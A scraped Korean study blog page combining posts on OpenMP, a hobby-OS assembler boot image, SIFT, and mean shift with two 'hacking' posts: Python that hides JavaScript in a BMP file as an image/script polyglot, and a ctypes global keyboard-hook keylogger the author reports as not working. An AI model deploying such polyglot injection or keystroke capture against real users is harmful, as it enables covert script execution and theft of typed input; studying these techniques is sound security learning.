728x90

병렬 블록 문제

1. 병렬 영역안에 점프문을 쓰면 안됨

2. if(omp_get_thread_num() == 1)로 1번 스레드만 들어올수 있는데 안에 barrier 구문이 존재

 => 나머지 스레드가 들어오지 못함 => 영원히 종료 x

#include <stdio.h>
#include <omp.h>


int main()
{
	omp_set_num_threads(4);
    goto L1;
    
#pragma omp parallel
{
L1:
	if (omp_get_thread_num() == 1)
    	goto L2;
}
L2:
#pragma omp parallel
{
	if(omp_get_thread_num() == 1){
    	#pragma omp barrier
    }
}
}

 

 

 

포크 조인 모델 문제

- 배열 a는 private 처리 됨

- a[0]는 그대로 0으로 남아있음

#include <stdio.h>
#include <omp.h>


int main()
{
    int a[4] = {0}, tid;
    omp_set_num_threads(4);
#pragma omp parallel private(a, tid)
{
    tid = omp_get_thread_num();
    a[tid] = tid;
    printf("a[%d] = %d in %d - th thread\n", tid, a[tid], tid);
    a[0] = 100;
}

    printf("a[0] = %d\n", a[0]);

}

 

동기화 문제

- 서로 다른 크리티컬 구간에서 동일한 변수에 접근하려함

#include <stdio.h>
#include <omp.h>

int main()
{
        int x=1;

        omp_set_num_threads(4);
#pragma omp parallel
{
        #pragma omp critical(n1)
        { x++; }
        #pragma omp critical(n2)
        { x++; }
        #pragma omp atomic
        x++;

        printf("x = %d\n", x);
}
}

 

 

- 서로 다른 임계구간에서 동일 변수 접근을 막도록 임계 구간을 동일한 이름으로 변경

#include <stdio.h>
#include <omp.h>

int main()
{
        int x=1;

        omp_set_num_threads(4);
#pragma omp parallel
{
        #pragma omp critical(n1)
        { x++; }
        #pragma omp critical(n1)
        { x++; }
        #pragma omp atomic
        x++;

        printf("x = %d\n", x);
}
}

300x250
728x90

* 주의사항

폴더 구조를 바꾸면서 파일 내용도 일부 수정

github 내용 참고 필요

https://github.com/JeongChanDo/make_os

 

 

nask 어셈블러 명령어

- DB Data byte : 파일 값을 1바이트씩 직접 쓰는 명령어

 * 소문자 db도 ㄱㅊ

- RESB REServe Byte : 10바이트 예약

 * ex. RESB 10 - 10바이트 공간을 공백으로 예약

- 0x : 16진수

- 일반 : 10진수

 

 

 

 

어셈블러 코드 개선하기

- helloos2폴더에서 작성

 

추가된 명령어

- j : 주석 처리

- DB : 문자열도 사용가능

- DW Data Word : 데이터 워드로 2바이트 -> 16비트

- DD Data Double-word : 데이터 더블 워드로 4바이트 -> 32비트

- RESB 0xfe-$ : 0xfe부터 앞에서 쓴 바이트를 뺀 크기를 공백으로 채움

 * RESB 378  하자니 앞에 가변일수 있으므로 $ 사용

 

 

개선된 어셈블러 코드 동작 결과

- 이전에 16진수로만 작성한 어셈블러 코드랑 동일하게 동작

- 소스코드 가독성이 더좋음

300x250
728x90

어셈블러 만들기

- 이전에 바이너리로 만든 helloos.img를 어셈블러 소스 코드로 만들자(내용은 바이너리와 비슷)

- 사용 어셈블러 nask 나스크, nasm보다 최적화 성능 좋음

- hellos.nas로 저장

 

 

hellos.nas

- RESB 명령으로 공백 넘어감

- nask 어셈블러 소스코드

	DB	0xeb, 0x4e, 0x90, 0x48, 0x45, 0x4c, 0x4c, 0x4f
	DB	0x49, 0x50, 0x4c, 0x00, 0x02, 0x01, 0x01, 0x00
	DB	0x02, 0xe0, 0x00, 0x40, 0x0b, 0xf0, 0x09, 0x00
	DB	0x12, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00
	DB	0x40, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x29, 0xff
	DB	0xff, 0xff, 0xff, 0x48, 0x45, 0x4c, 0x4c, 0x4f
	DB	0x2d, 0x4f, 0x53, 0x20, 0x20, 0x20, 0x46, 0x41
	DB	0x54, 0x31, 0x32, 0x20, 0x20, 0x20, 0x00, 0x00
	RESB	16
	DB	0xb8, 0x00, 0x00, 0x8e, 0xd0, 0xbc, 0x00, 0x7c
	DB	0x8e, 0xd8, 0x8e, 0xc0, 0xbe, 0x74, 0x7c, 0x8a
	DB	0x04, 0x83, 0xc6, 0x01, 0x3c, 0x00, 0x74, 0x09
	DB	0xb4, 0x0e, 0xbb, 0x0f, 0x00, 0xcd, 0x10, 0xeb
	DB	0xee, 0xf4, 0xeb, 0xfd, 0x0a, 0x0a, 0x68, 0x65
	DB	0x6c, 0x6c, 0x6f, 0x2c, 0x20, 0x77, 0x6f, 0x72
	DB	0x6c, 0x64, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00
	RESB	368
	DB	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xaa
	DB	0xf0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00
	RESB	4600
	DB	0xf0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00
	RESB	1469432

 

 

 

 

* 구글링하다가 깃헙 소스 찾음

- https://github.com/slankdev/os

 

 

nask 어셈블러로 어셈블

- 어셈블 수행

 

 

어셈블리어로 작성한 이미지 실행 결과

- 지난번에 만든 run.bat으로 돌리면 결과가 정상적으로 나옴

 

300x250
728x90

이미지 해킹

- 이미지 파일에 스크립트 추가하여 해킹 도구를 활용 가능

- 비트맵 파일에 js 삽입해보자

 

비트맵 파일

- 구성 : 매직 넘버, 데이터

- 매직 넘버 : 첫 2바이트, 비트맵 파일임을 식별

- 다음 4바이트 : 비트맵 파일 크기 표기

https://ko.wikipedia.org/wiki/BMP_%ED%8C%8C%EC%9D%BC_%ED%8F%AC%EB%A7%B7

 

 

 

비트맵에 삽입할 스크립트 작성

- 브라우저의 쿠키를 저장하고 알람 창으로 출력하는 스크립트

name = 'id';
value = 'Mammamia';

var todayDate = new Date();
todayDate.setHours(todayDate.getDate() + 7); //쿠키 유효기간
document.cookie = name + "=" + escape(value) + "; path=/expires="
    + todayDate.toGMTString() + ""; //쿠키 생성
alert(document.cookie)

 

비트맵 파일에 스크립트 추가하는 코드

- 매직파일 뒤 데이터 부분은 주석

- 주석처리된 데이터 영역 이후로 js코드 삽입

# -*- coding: utf-8 -*- 
fname = "windows/hello.bmp"

pfile = open(fname, "r+b")
buff = pfile.read()
# *와 /를 공백으로 리플레이스
buff.replace(b'\x2A\x2F', b'\x00\x00')
pfile.close()


pfile = open(fname,"w+b")
pfile.write(buff)
#커서를 앞에서 2바이트 뒤로 이동 -> 매직넘버 바로뒤
pfile.seek(2,0)
#주석문 샆입 /*   \x2F -> /,   \x2A -> *
pfile.write(b'\x2F\x2A')
pfile.close()


pfile = open(fname, "a+b") #append binary mode
#fname 파일 맨 뒤에 주석문 닫는 */추가 -> 비트맵의 데이터 영역 전체가 주석처리
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
#주석 처리된 데이터 영역 뒤에 js 코드 삽입
pfile.write(open('windows/2_hello.js','rb').read())
pfile.close()

 

 

비트맵 파일 hello.bmp

- 이미지

 

 

바이너리 에디터로 본 비트맵

- 첫 2비트는 매직 비트로 42, 4D = BM -> 비트맵 파일 의미

 

 

이미지 해킹 후 바이너리 에디터

- 매직넘버뒤에 주석문 /* 추가

- 맨 바닥에 주석 닫고 */

- js 코드 삽입됨

 

 

 

 

hello.bmp를 열고, 스크립트 동작하는 html 코드 작성

<img src="hello.bmp"/>
<script src="hello.bmp"></script>

 

- 이미지에 삽입한 js코드를 이용해 alert 띄우는건 성공했다.

- 오타때문인지 내용은 안뜨지만

 

 

- 개발자 도구로도 이미지 맨 끝에 js 코드가 추가된것을 확인할 수 있다.

 => 정상적인 이미지에 이런식으로 코드 삽입이 가능하다.

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

네트워크 기초 복습  (0) 2021.03.05
해킹 - 6. 키보드 후킹  (0) 2020.07.29
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
728x90

키보드 후킹하는 코드를 작성했는데

 

setwindowshookex()함수에서 에러가 발생하는듯 하다

 

원인은 모르겠지만

 

안돌아가는걸 그냥 버리자니 아깝고 업로드

 

 

 

# -*- coding: utf-8 -*- 
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD


# windll로 user32.dll, kernel32.dll을 가져옴
user32 = windll.user32
kernel32 = windll.kernel32

# 사용되는 변수
WH_KEYBOARD_LL=13
WM_KEYDOWN=0x0100
CTRL_CODE = 162

#class definition
class KeyLogger:
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    #훅 설정 정의. 모니터링 이벤트는 WH_KEYBOARD_LL, 범위는 전역
    def installHookProc(self, pointer):
        # 훅타입, 훅프로시저, dll 핸들, 후킹할 스레드 아이디(전역 -> 0)
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        print self.hooked
        if not self.hooked:
            return False
        return True
    
    # release hook resource
    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

# setwindowshookexa() 함수에서 필요한 프로시저 인자와 타입 지정. 함수 포인터
def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

#메시지 종류가 WM_KEYDOWN이면 화면에 출력. CTRL이면 훅 제거
# wParam : virtual key code, lparam : extral info
def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(lParam[0])
    print hookedKey
    if (CTRL_CODE == int(lParam[0])):
        print "Ctrl pressed. call uninstallHook()"
        KeyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)

# GetMessageA()함수로 큐 모니터링. 메시지오면 훅 체인으로 전달
def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg), 0, 0, 0)

#키로거 생성
KeyLogger = KeyLogger()
#훅 프로시저 함수포인터 획득
pointer = getFPTR(hookProc)
#키로거로 훅 프로세서 생성
if KeyLogger.installHookProc(pointer):
    print "installed keyLogger"
startKeyLog()

 

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

네트워크 기초 복습  (0) 2021.03.05
해킹 - 7. 이미지 해킹  (0) 2020.07.30
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
728x90

프로시저, 콜백 함수

- 기능 동작시에 호출할 함수 혹은 동작들?

 

훅 hook

- 메시지, 마우스 클릭, 키 입력 등 이벤트를 가로체는 기능

- OS는 훅 체인으로 리스트 관리

- 훅 관련 기능 동작들을 훅 프로시저

 

 

훅 체인

- 훅 프로시저 포인터들 목록

 

훅의 종류

- 전역 훅 : OS 전반에 훅 설정

- 지역 훅 : 특정 스레드에서만 훅 설정

 

 

키보드 후킹 처리 과정

1. 훅 설정 : user32.dll-SetWindowsHookExA()로 훅 설정과 프로시저 등록

2. 훅 체인 등록 : 훅 체인 맨 앞에 훅 프로시저 포인터 등록

3. 키보드 입력 : 사용자가 키 입력시 키보드 컨트롤러가 신호 변환해서 키보드 드라이버로 전달

4. 시스템 큐 : 키보드 메시지가 시스템 큐로 입력

5. 스레드 큐 : 시스템 큐로부터 메시지 전달받음. 

6. 메시지 후킹 : 스레드 큐로부터 메시지가 훅 프로시저로 전달

7. 훅 프로시저 : 지정 동작 수행

8. 훅 체인 포인터 : 메시지 처리 후 윈도우로 전달

 

 

 

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 7. 이미지 해킹  (0) 2020.07.30
해킹 - 6. 키보드 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
해킹 - 2. 해킹 종류  (1) 2020.07.28
728x90

윈도우 API

- 윈도우 어플리케이션 개발시 사용하는 API

- 이 API로 OS에서 제공하는 기능 사용

- Win32 : 32비트 윈도우 API

 

 

일반적인 윈도우 API

- 동적 라이브러리 DLL로 제공

- 다양한 언어에서 호출하여 사용 가능

종류 특징
 kernel32.dll 파일 시스템, 디바이스, 프로세스 등 기본 리소스 접근 기능
user32.dll ui 지원, 윈도우 창 생성 관리, 화면 및 메시지 표현
gdi32.dll 모니터 등 출력장치 관리 지원
comdig32.dll 파일 입출력 및 표준 대화 창 관리
comctl32.dll 상태 바, 진행 바 등 응용프로그램 등 접근 지원
shell32.dll 쉘 기능 접근 지원
netapi32.dll 다양한 통신 기능을 응용프로그램에서 쓸수있도록 지원
advapi32.dll 레지스트리, 윈도우 서비스 시작 종료, 계정 관리 등 

 

ctypes

- 파이썬으로 ctypes를 이용하여 DLL과 C언어 변수 사용 가능

ctypes 기능 설명
DLL 로드 windll.kernel32, windll.user32
API 호출 windll.user32. SetWindowsHookExA
함수 인자 자료형 지정 printf = libc.printf
print.argtypes = [c_char_p, c_int, c_double]
printf("String %s, int %d, bouble %f\n", "hello", 1, 3.14) 
함수 반환값 타입 지정 libc.strchr.restype = c_char_p
자료형 예시 i = c_int(42)
pi = POINTER(c_int)
포인터 전달 f = c_float()
s = create_string_buffer("\000" *32)
windll.msvcrt.sscanf("1 3.14 wow", "%f %s", byref(f), s)
콜백 함수 선언 def py_cmp_func(a, b):
    print "py_cmp_func", a, b
    return 0

CMPFUNC = CFUNCTYPE(c_int, POINTER(c_int), POINTER(c_int))
cmp_func = CMPFUNC(py_cmp_func)
windll.msvcrt.qsort(ia, len(ia), sizeof(c_int), cmp_func)
구조체 선언 class POINT(Structure):
    _fileds_ = [("x", c_int), ("y", c_int)]

point = POINT(10, 20)

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 6. 키보드 후킹  (0) 2020.07.29
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
해킹 - 2. 해킹 종류  (1) 2020.07.28
해킹 - 1. 해킹 개요  (0) 2020.07.28
728x90

기술자 descriptor

- 특징점 내부와 주위로 부터 얻은 정보와 정보 추출 알고리즘

 => 특징에 대해 설명해줌

- 특징 벡터 feature vector : 일정 크기의 벡터임

 

 

특징 벡터와 기술자

- 패턴 인식에서 특징 벡터, 영상 처리에서 특징의 정보를 기술자라고 주로 부름

- SIFT, SURF와 같이 개선된 특징점 검출 알고리즘을 구했다면, 기술자도 좋은 기술자를 구해야함.

 

 

특징 기술자 성질

- 기술자끼리 구분 가능해야함 -> 이후 매칭시 대응하기 위함

- 불변성 : 영상이 회전, 크기, 광도 등 변환이 일어나도 기술자는 불변해야함

- 특징 벡터의 크기를 줄여야 함 -> 한 영상에서 특징 수천개 존재, 매칭시 특징간 거리 계산하므로 차원이 낮아야함.

 

 

관심점의 정보

- 스케일 정보가 없는 경우 (y, x)

- 스케일 정보를 갖는 경우 (y, x, omega)

 

 

SIFT 특징

- 키포인트라고도 부름

- 스케일 정보를 가진 (y, x, omega) 형태 -> 스케일 변환에 불변

- 회전 변환에 불변하기 위한 정보가 필요

 

 

주요 방향의 필요성

- 회전 불변하기 위한 정보가 필요 -> 주요 방향 dominant orientation을 우선 찾음

 1) 키포인트 중심으로 윈도우(커널)

 2) 윈도우 내 픽셀에 대해 그라디언트 방향 히스토그램으로 주요 방향 찾음

  * 10도 간격으로 양자화 -> 히스토그램은 36칸 가짐

  * 그라디언트 크기에 가우시안을 컨볼루션하여 멀수록 작은 가중치 반영

  => 히스토그램에서 가장 큰 값을 나타내는 방향이 주요 방향

- 아래의 그림은 이미지 그라디언트와 키포인트 기술자 예시

 * 좌측은 방향이 10도 간격으로 양자화(36단계)됨, 우측은 8단계로 양자화된 그라디언트 방향 히스토그램

https://www.researchgate.net/figure/On-the-left-a-keypoint-descriptor-is-created-by-computing-the-gradient-magnitude-and_fig3_282751150

 

키포인트 정보

- (y, x, omega, theta)로 정리.

- 기술자를 얻기 위해 윈도우 컨볼루션

 * 주요 방향이 기준이 되도록 좌표계 설정 -> 방향 불변성 성립

1) 위 그림에서 한박스만 보자. 윈도우를 4x4로 분할하여 블록이 16개 존재. 현재 10도 간격으로 36단계의 방향이 표현됨

2) 위 블록에 존재하는 16픽셀의 그라디언트를 계산하여, 8단계 양자화된 그라디언트 방향 히스토그램 추출

=> 이 데이터는 4(가로박스 개수)x4(새로박스 개수)x8(방향) = 128차원의 특징 벡터 x가 됨

3) 벡터 x를 벡터의 크기 ||x||로 나누어 단위 벡터 획득

 => 회전, 광도 불변한 128차원 SIFT 특징 기술자 완성

 

 

 

SIFT 기술자 추출기

- 입력 : SIFT detector로 검출한 특징점(관심점, 키포인트 - y, x, omega)

- 출력 : 키포인트(기존의 키포인트 + 주요 방향 + 특징벡터 x)

 

 

 

300x250
728x90

민시프트

- 클러스터링 알고리즘 중 하나

- 파젠창 방식 : 각점에 대한 샘플의 확률들을 구함

- 초기점을 지정하고, 커널 안에서 같은 분류에 속하는 점들의 방향으로 따라감

- 장점

 1) kmeans 같은 군집화 알고리즘과 달리 군집 개수를 알 필요 없음. 자동으로 군집 개수 찾음

 2) kmeans 같은 알고리즘은 일정 형태의 분포를 가정하여 변수들을 추정하는 모수적 방법

  <-> 민시프트는 임의의 분포에서 찾음. 비모수적 방법

 3) 필요한 파라미터가 커널의 폭 h뿐임

=> 얼굴 추적, 영상 검색 등 많이 활용

 

다른 대표적인 군집화 알고리즘

- kmeans

- DBSCAN

 

 

 

kmenas

- 유명한 군집화 알고리즘 중 하나

1) 군집 개수를 지정

2) 군집 개수만큼 임의의 중심점들을 생성

3) 중심점과 점들 사이의 거리로 점들의 소속 중심점 분류

4) 소속 중심점들의 평균 위치로 중심점을 이동

5) 반복하면 처음 지정한 군집개수만큼 분류 완료

- 장점 : 빠름

- 단점 : 군집 개수 지정해야함, 임의의 중심점으로 초기화하므로 매번 결과가 다를수 있음

 

 

 

 

DBSCAN Density Based Spatial Clustering of Application with Noise

1) 임의의 시작점에서 시작

2) 거리 엡실론에 속하는 이웃들을 추출.

3) 이 이웃들이 충분히 있으면 클러스터링 수행. (노이즈 샘플이라) 충분히 존재하지 않는 부분에는 클러스터링 x

4) 반복하면 하나의 클러스터가 완료

5) 다른 방문하지 않은 점들에 대해 클러스터링을 다시 수행

- 장점 : 군집 개수 지정 필요 없음. 민시프트에서 점들이 다르면 다른 군집으로 판단했으나, 아웃라이어를 노이즈로 판단해서 포함시킴

- 단점 : 동작이 힘듬

https://michigusa-nlp.tistory.com/27

 

 

 

민시프트를 이용한 영상 분할 예시

 

 

300x250
728x90

확률 밀도 함수의 모드

- PDF에서의 모드란 봉우리를 의미함

- 아래의 그림은 모드, 미디안, 평균의 차이를 보여줌

 

https://en.wikipedia.org/wiki/Probability_density_function

 

 

모드 탐색 mode seeking

- 주어진 점이 어느 모드에 속하는지 찾는 것

- x가 주어질때 어느 모드에 속할까?

Quickshift++: Provably Good Initializations for Sample-Based Mean Shift

 

 

 

샘플로부터 확률 밀도 함수 구하기

- 가우시안 분포를 따르는 데이터들의 산점도

- 모집단 확률 밀도 함수

 

 

확률 밀도 함수에 커널 적용하기

- 특정 샘플 x의 확률 값을 추정하는 공식

- 파젠창(평평한 커널)을 사용한 경우. 대역폭 0.5

- 가우시안 커널을 적용한 경우. 대역폭 0.1

- 가우시안 커널. 대역폭 1

 -> 대역폭이 클수록 커널 안에 많은 점들이 들어와 매끄러워짐. 커널이 작으면 거칠어짐

'

*http://prayingforfamily.blogspot.com/2016/08/blog-post.html

 

차원의 저주

- 방금 본 예제는 2차원 공간에서의 확률 값 계산

-> 차원이 커지면 계산해야할 양이 급격히 커짐

 

 

 

 

 

 

 

300x250

+ Recent posts